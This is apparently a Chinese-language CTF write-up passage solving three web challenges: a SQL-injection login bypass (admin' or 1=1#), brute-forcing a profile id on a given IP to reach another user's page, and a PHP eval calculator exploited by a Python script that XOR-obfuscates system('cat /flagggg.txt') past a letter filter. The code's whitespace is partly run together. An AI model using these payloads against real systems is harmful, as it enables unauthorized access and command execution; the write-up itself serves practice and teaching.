找到登录处尝试利用万能密码进行登录,发现密码处存在万能密码登录 admin:admin' or 1=1#
登录后即可拿到 FLAG
Door Lock
题目描述
The door is open to all! See who is behind the admin door??
解题思路
注册账号后登录后台,注意到 http://34.135.171.18/profile/index.php?id=1460 后面跟着的 id,联想到题目描述,尝试爆破 id 的数值,在 id 数值为 1766 的页面中成功找到 FLAG
Basic Calc
题目描述
Ever used calc based on php?
解题思路
题目给出部分源码
<h2>Welcome to da Basic Calc</h2><form action="/" method="POST">
Enter da equation:<br><input type="text" name="eq"><br></form><?php
if(isset($_POST["eq"])){$eq=$_POST["eq"];if(preg_match("/[A-Za-z`]+/",$eq)){die("BAD.");}echo"Result: ";eval("echo ".$eq." ;");}else{echohighlight_file('index.php',true);}?>
# string_code = ['system','ls /']
string_code =['system','cat /flagggg.txt']
obfuscated_code =""
charset ="1234567890!#$%&'()*+/^,-.:;<=>?@[]_{|}~"for code in string_code:
obfuscated =""for i in code:
is_found_obfuscated =Falsefor j in charset:for k in charset:iford(j)^ord(k)==ord(i):
is_found_obfuscated =True
obfuscated +=".('%s'^'%s')"%(j, k)#print("XOR ="+chr(ord(j)^ord(k)))if is_found_obfuscated:breakif is_found_obfuscated:breakifnot is_found_obfuscated:
obfuscated +=".'%s'"% i
#print("(%s) = (%s)" % (code, obfuscated[1:]))
obfuscated_code +="(%s)"% obfuscated[1:]print(''.join(["(\"%s\")"% i for i in string_code])+'='+ obfuscated_code)